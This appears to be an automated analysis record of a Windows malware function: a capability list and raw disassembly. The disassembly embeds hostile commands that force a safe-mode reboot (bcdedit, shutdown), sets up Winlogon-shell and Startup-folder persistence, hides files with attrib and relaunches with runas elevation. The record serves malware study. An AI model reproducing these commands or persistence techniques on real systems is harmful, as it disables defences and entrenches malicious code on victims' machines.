Function at 0x140018a00
Capabilities:
Create directory
Create process on windows
Execute command
Persist via run registry key
Persist via winlogon helper dll registry key
Schedule task via schtasks
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x310]
sub rsp, 0x410
mov rax, qword [0x14002c028]
xor rax, rsp
mov qword [rbp + 0x300], rax
xor r15d, r15d
lea rdx, [0x140025138]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.STATUS
lea rcx, [rbp + 0xc0]
call fcn.1400019d0
mov rdx, rax
lea rcx, [rbp + 0x278]
call fcn.1400058c0
nop
lea rcx, [rbp + 0x278]
mov rdi, qword [rbp + 0x278]
mov rsi, qword [rbp + 0x290]
cmp rsi, 0x10
cmovae rcx, rdi
mov rbx, qword [rbp + 0x288]
cmp rbx, 2
jne 0x140018ac5
mov r8, rbx
lea rdx, [0x140023ae4]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
lea rdx, [0x140025158]
je 0x140018acc
lea rdx, str.uac
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
lea rdx, [0x140001af0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x14002c328]
cmp qword [0x14002c340], 0x10
cmovae rcx, qword [0x14002c328]
mov r8, qword [0x14002c338]
cmp r8, 6
jne 0x14001ab8a
lea rdx, str.NORMAL
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001ab8a
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140025180]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp dword [0x14002d0a8], 0
je 0x14001a9f6
lea rdx, str.ADMIN_YES
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r12, [0x14002c2c8]
mov rcx, r12
cmp qword [0x14002c2e0], 0x10
cmovae rcx, qword [0x14002c2c8]
mov r8, qword [0x14002c2d8]
cmp r8, 3
jne 0x140018c50
lea rdx, [0x140023ae0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140018c50
lea rdx, [0x140023ae4]
lea rcx, [rbp + 0x80]
call fcn.1400019d0
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.1400090b0
mov rdx, rax
mov rcx, r12
call fcn.14000cee0
lea rcx, [rbp + 0x100]
call fcn.140001970
lea rdx, [0x1400251a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x14002c3b8]
movabs r14, 0x7fffffffffffffff
mov rax, r14
sub rax, rcx
cmp rax, 9
jb 0x14001adc3
lea rsi, [0x14002c3a8]
mov rax, rsi
cmp qword [0x14002c3c0], 0x10
cmovae rax, qword [0x14002c3a8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rbp + 0xe0]
call fcn.14000f020
nop
mov r8d, 0x14
lea rdx, str.AppDataLocalStory
lea rcx, [rbp + 0xe0]
call fcn.14000d5f0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x158], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x168], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140018d33
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018d2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018d2e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], r15
lea r15, [rbp + 0x158]
cmp qword [rbp + 0x170], 0x10
cmovae r15, qword [rbp + 0x158]
mov rdi, qword [rbp + 0x168]
cmp rdi, r14
ja 0x14001adc9
mov eax, 0x16
lea rdx, [rax - 0x17]
mov qword [rbp + 0xb8], 0xf
cmp rdi, 0x10
jae 0x140018dc2
mov qword [rbp + 0xb0], rdi
lea r8d, [rax - 6]
mov rdx, r15
lea rcx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memmove
jmp 0x140018e52
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
jbe 0x140018dd3
mov rbx, r14
jmp 0x140018dda
cmp rbx, rax
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x140018e20
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001adcf
mov rcx, rax
call fcn.14001f080
mov rcx, rax
test rax, rax
je 0x140018e19
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140018e2e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140018e2c
call fcn.14001f080
jmp 0x140018e2e
xor eax, eax
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xb8], rbx
lea r8, [rdi + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xa0]
call fcn.140002e90
test al, al
je 0x140018ea3
lea rax, [rbp + 0x80]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x80]
call fcn.14000cf70
mov rbx, rax
lea rdx, str.rmdir
lea rcx, [rbp + 0xc0]
call fcn.1400019d0
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400046b0
lea rdx, [0x1400251c4]
lea rcx, [rbp + 0x80]
call fcn.1400019d0
mov rcx, rax
call fcn.140006270
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x298], xmm0
mov qword [rbp + 0x2a8], rax
lea rdx, str.EXCEPTION
lea rcx, [rbp + 0x80]
call fcn.1400019d0
mov rdx, rax
lea rcx, [rbp + 0x298]
call fcn.140006f80
nop
xorps xmm0, xmm0
xor eax, eax
mov rdi, qword [rbp + 0x298]
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rax
mov rdx, qword [rdi + 0x38]
sub rdx, qword [rdi + 0x30]
sar rdx, 5
test rdx, rdx
je 0x140018f9e
lea rcx, [rbp + 0x120]
call fcn.14000ece0
lea rax, [rbp + 0x120]
mov qword [rsp + 0x40], rax
mov r15, qword [rdi + 0x38]
mov rdi, qword [rdi + 0x30]
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov rbx, qword [rbp + 0x120]
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rbx
lea rax, [rbp + 0x120]
mov qword [rbp + 0x70], rax
cmp rdi, r15
je 0x140018f8c
nop word [rax + rax]
mov rdx, rdi
mov rcx, rbx
call fcn.14000cf70
add rbx, 0x20
mov qword [rbp + 0x68], rbx
add rdi, 0x20
cmp rdi, r15
jne 0x140018f70
mov rdx, rbx
mov rcx, rbx
call fcn.14000e520
mov qword [rbp + 0x128], rbx
lea rcx, [0x14002c268]
cmp qword [0x14002c280], 0x10
cmovae rcx, qword [0x14002c268]
mov r8, qword [0x14002c278]
cmp r8, 2
jne 0x1400191a6
lea rdx, [0x140023ae4]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400191a6
lea rax, [rbp + 0x80]
mov qword [rsp + 0x40], rax
mov r8, rsi
lea rdx, str.C:Users_
lea rcx, [rbp + 0x100]
call fcn.14000da10
nop
lea r8, str.AppDataLocal
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14000de00
mov rbx, rax
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0xa0]
call fcn.140010de0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.140002650
lea rdx, [0x1400238e8]
mov rcx, rax
call fcn.14000de70
movzx ebx, al
lea rcx, [rbp + 0xc0]
call fcn.140001970
nop
lea rcx, [rbp + 0x100]
call fcn.140001970
test bl, bl
je 0x1400190c0
mov r8, rsi
lea rdx, str.C:Users_
lea rcx, [rbp + 0xc0]
call fcn.14000da10
nop
lea r8, str.AppDataLocal
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14000de00
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.140006f80
lea rcx, [rbp + 0xa0]
call fcn.14000d340
nop
lea rcx, [rbp + 0xc0]
call fcn.140001970
lea rax, [rbp + 0x80]
mov qword [rsp + 0x40], rax
mov r8, rsi
lea rdx, str.C:Users_
lea rcx, [rbp + 0x100]
call fcn.14000da10
nop
lea r8, str.AppDataRoaming
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14000de00
mov rbx, rax
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0xa0]
call fcn.140010de0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.140002650
lea rdx, [0x1400238e8]
mov rcx, rax
call fcn.14000de70
movzx ebx, al
lea rcx, [rbp + 0xc0]
call fcn.140001970
nop
lea rcx, [rbp + 0x100]
call fcn.140001970
test bl, bl
je 0x1400191a6
mov r8, rsi
lea rdx, str.C:Users_
lea rcx, [rbp + 0xc0]
call fcn.14000da10
nop
lea r8, str.AppDataRoaming
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14000de00
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.140006f80
lea rcx, [rbp + 0xa0]
call fcn.14000d340
nop
lea rcx, [rbp + 0xc0]
call fcn.140001970
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], 5
mov qword [rsp + 0x70], 0xf
mov eax, dword [str.Shell]
mov dword [rsp + 0x58], eax
movzx eax, byte [0x1400251f0]
mov byte [rsp + 0x5c], al
mov byte [rsp + 0x5d], 0
lea rdx, str.HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
lea rcx, [rbp + 0x80]
call fcn.1400019d0
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x178]
call fcn.140008770
nop
mov rcx, r12
mov rdi, qword [0x14002c2c8]
mov r15, qword [0x14002c2e0]
cmp r15, 0x10
cmovae rcx, rdi
mov rbx, qword [0x14002c2d8]
lea r13, [0x14002c228]
cmp rbx, 2
jne 0x1400192dc
mov r8, rbx
lea rdx, [0x140023ae4]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400192dc
lea rdx, [0x1400238ec]
lea rcx, [rbp + 0x178]
call fcn.14000de70
test al, al
je 0x1400192dc
lea rdx, [0x140023ae4]
lea rcx, [0x14002c268]
call fcn.14000de70
test al, al
je 0x1400192dc
lea rdx, str.NORMAL
lea rcx, [0x14002c328]
call fcn.14000de70
test al, al
je 0x1400192dc
lea rdx, [0x14002c1a8]
mov rcx, r13
call fcn.14000ddb0
test al, al
je 0x1400192dc
lea rcx, str.bcdedit__set_default_safeboot_minimal
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r15, qword [0x14002c2e0]
mov rbx, qword [0x14002c2d8]
mov rdi, qword [0x14002c2c8]
cmp r15, 0x10
cmovae r12, rdi
cmp rbx, 2
jne 0x140019300
mov r8, rbx
lea rdx, [0x140023ae4]
mov rcx, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001936d
lea rdx, str.DISABLE
lea rcx, [rbp + 0xc0]
call fcn.1400019d0
mov rcx, rax
call fcn.140008e80
lea rdx, [0x140023ae4]
lea rcx, [rbp + 0x278]
call fcn.14000de70
test al, al
je 0x140019360
lea rdx, str.DISABLE
lea rcx, [rbp + 0xc0]
call fcn.1400019d0
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.1400058c0
lea rcx, [rbp + 0x100]
call fcn.140001970
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], 1
mov qword [rbp - 8], 0xf
mov word [rbp - 0x20], 0x31
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], 1
mov qword [rbp + 0x18], 0xf
mov word [rbp], 0x31
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], 1
mov qword [rbp + 0x38], 0xf
mov word [rbp + 0x20], 0x31
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], 1
mov qword [rbp + 0x58], 0xf
mov word [rbp + 0x40], 0x31
movdqu xmmword [rbp + 0x60], xmm0
xor r12d, r12d
mov qword [rbp + 0x70], r12
lea edx, [r12 + 4]
lea rcx, [rbp + 0x60]
call fcn.14000ece0
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
lea rdi, [rbp - 0x20]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov rbx, qword [rbp + 0x60]
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], rbx
lea rax, [rbp + 0x60]
mov qword [rbp + 0xb0], rax
nop word [rax + rax]
mov rdx, rdi
mov rcx, rbx
call fcn.14000cf70
add rbx, 0x20
mov qword [rbp + 0xa8], rbx
add rdi, 0x20
lea rax, [rbp + 0x60]
cmp rdi, rax
jne 0x140019430
mov rdx, rbx
mov rcx, rbx
call fcn.14000e520
mov qword [rbp + 0x68], rbx
lea rcx, [rbp + 0x60]
call fcn.140009bf0
nop
lea r9, [fcn.140001970]
mov edx, 0x20
lea r8d, [rdx - 0x1c]
lea rcx, [rbp - 0x20]
call fcn.14001f26c
lea rdx, [0x14002c308]
lea rcx, [rbp + 0x198]
call fcn.14000cf70
nop
lea rcx, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 0x10
cmovae rcx, qword [rbp + 0x198]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rax, r14
mov rcx, qword [rbp + 0x1a8]
sub rax, rcx
cmp rax, 0xe
jb 0x14001add5
lea rax, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 0x10
cmovae rax, qword [rbp + 0x198]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xe
lea r9, str.attrib_h_s__
lea rcx, [rbp + 0xe0]
call fcn.14000f020
nop
mov r8d, 1
lea rdx, [0x140023918]
lea rcx, [rbp + 0xe0]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x218], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x228], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x218], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x228], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x1400195a1
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001959c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001959c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], 0
lea rcx, [rbp + 0x218]
cmp qword [rbp + 0x230], 0x10
cmovae rcx, qword [rbp + 0x218]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], r12
mov qword [rbp + 0x150], r12
lea r15, [0x14002c388]
cmp qword [0x14002c3a0], 0x10
cmovae r15, qword [0x14002c388]
mov rdi, qword [0x14002c398]
cmp rdi, r14
ja 0x14001addb
mov qword [rbp + 0x150], 0xf
cmp rdi, 0x10
jae 0x140019646
mov qword [rbp + 0x148], rdi
mov r8d, 0x10
mov rdx, r15
lea rcx, [rbp + 0x138]
call sub.VCRUNTIME140.dll_memmove
jmp 0x1400196e5
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
jbe 0x140019657
mov rbx, r14
jmp 0x140019664
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x1400196b1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001ade1
mov rcx, rax
call fcn.14001f080
mov rcx, rax
test rax, rax
je 0x1400196aa
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400196c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400196bd
call fcn.14001f080
jmp 0x1400196c0
mov rax, r12
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x148], rdi
mov qword [rbp + 0x150], rbx
lea r8, [rdi + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rcx, [rbp + 0x138]
cmp qword [rbp + 0x150], 0x10
cmovae rcx, qword [rbp + 0x138]
lea rdx, [rbp + 0x2b0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140019761
lea rax, [rbp + 0x80]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x80]
call fcn.14000cf70
mov rbx, rax
lea rdx, str.NONE
lea rcx, [rbp + 0xc0]
call fcn.14000cf70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.140003110
lea rcx, [rbp + 0x100]
call fcn.140001970
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x80]
call fcn.14000cf70
mov rcx, rax
call fcn.1400025a0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rax
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, [0x14002c0a8]
lea rcx, [rbp + 0x258]
call fcn.14000cf70
nop
lea rdx, [0x14002c0c8]
lea rcx, [rbp + 0x238]
call fcn.14000cf70
nop
lea rcx, [rbp + 0x258]
cmp qword [rbp + 0x270], 0x10
cmovae rcx, qword [rbp + 0x258]
lea rdx, [rbp + 0x2b0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140019842
lea rax, [rbp + 0x80]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x80]
call fcn.14000cf70
mov rbx, rax
lea rdx, str.NONE
lea rcx, [rbp + 0xc0]
call fcn.14000cf70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.140003110
lea rcx, [rbp + 0x100]
call fcn.140001970
lea rcx, [rbp + 0x238]
cmp qword [rbp + 0x250], 0x10
cmovae rcx, qword [rbp + 0x238]
lea rdx, [rbp + 0x2b0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x1400198be
lea rax, [rbp + 0x80]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x80]
call fcn.14000cf70
mov rbx, rax
lea rdx, str.NONE
lea rcx, [rbp + 0xc0]
call fcn.14000cf70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.140003110
lea rcx, [rbp + 0x100]
call fcn.140001970
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x80]
call fcn.14000cf70
mov rcx, rax
call fcn.1400025a0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rax
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x80]
call fcn.14000cf70
mov rcx, rax
call fcn.1400025a0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rax
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [0x14002c3b8]
mov rax, r14
sub rax, rcx
cmp rax, 9
jb 0x14001ade7
cmp qword [0x14002c3c0], 0x10
cmovae rsi, qword [0x14002c3a8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rbp + 0xe0]
call fcn.14000f020
nop
mov r8d, 0x40
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
lea rcx, [rbp + 0xe0]
call fcn.14000d5f0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2f0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140019a07
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019a02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019a02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
lea r15, [0x14002c188]
cmp qword [0x14002c1a0], 0x10
cmovae r15, qword [0x14002c188]
mov rsi, qword [0x14002c198]
cmp rsi, r14
ja 0x14001aded
cmp rsi, 0x10
jae 0x140019a8b
mov qword [rbp + 0xb0], rsi
mov ebx, 0xf
mov qword [rbp + 0xb8], rbx
movups xmm0, xmmword [r15]
movups xmmword [rbp + 0xa0], xmm0
movq rdi, xmm0
jmp 0x140019b35
mov qword [rbp + 0xb8], 0xf
mov rbx, rsi
or rbx, 0xf
cmp rbx, r14
jbe 0x140019aa7
mov rbx, r14
jmp 0x140019ab4
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140019afe
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001adf3
mov rcx, rax
call fcn.14001f080
test rax, rax
je 0x140019af7
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140019b10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140019b0d
call fcn.14001f080
mov rdi, rax
jmp 0x140019b10
mov rdi, r12
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xb8], rbx
lea r8, [rsi + 1]
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
nop
mov rax, r14
sub rax, rsi
cmp rax, 2
jb 0x14001adf9
lea r9, [rbp + 0xa0]
cmp rbx, 0x10
cmovae r9, rdi
mov qword [rsp + 0x30], 2
lea rax, [0x1400252e4]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea rcx, [rbp + 0x80]
call fcn.14000f020
nop
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
lea rsi, [rbp + 0x2e0]
mov r15, qword [rbp + 0x2e0]
mov r12, qword [rbp + 0x2f8]
cmp r12, 0x10
cmovae rsi, r15
mov rdi, qword [rbp + 0x2f0]
cmp rdi, r14
ja 0x14001adff
mov qword [rbp + 0x78], 0xf
cmp rdi, 0x10
jae 0x140019be9
mov qword [rbp + 0x70], rdi
mov r8d, 0x10
mov rdx, rsi
lea rcx, [rbp + 0x60]
call sub.VCRUNTIME140.dll_memmove
jmp 0x140019c7e
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
jbe 0x140019bfa
mov rbx, r14
jmp 0x140019c07
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140019c54
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001ae05
mov rcx, rax
call fcn.14001f080
mov rcx, rax
test rax, rax
je 0x140019c4d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140019c62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140019c60
call fcn.14001f080
jmp 0x140019c62
xor eax, eax
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rdx, [0x1400252e8]
lea rcx, [rbp + 0xc0]
call fcn.1400019d0
nop
lea rdx, [rbp + 0x60]
mov rcx, rax
call fcn.1400046b0
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x28], rax
lea rdx, [0x140023914]
lea rcx, [rbp + 0xc0]
call fcn.1400019d0
mov rsi, rax
lea rdx, [0x1400238d5]
lea rcx, [rbp + 0x100]
call fcn.1400019d0
mov rdi, rax
lea rdx, [0x1400238d5]
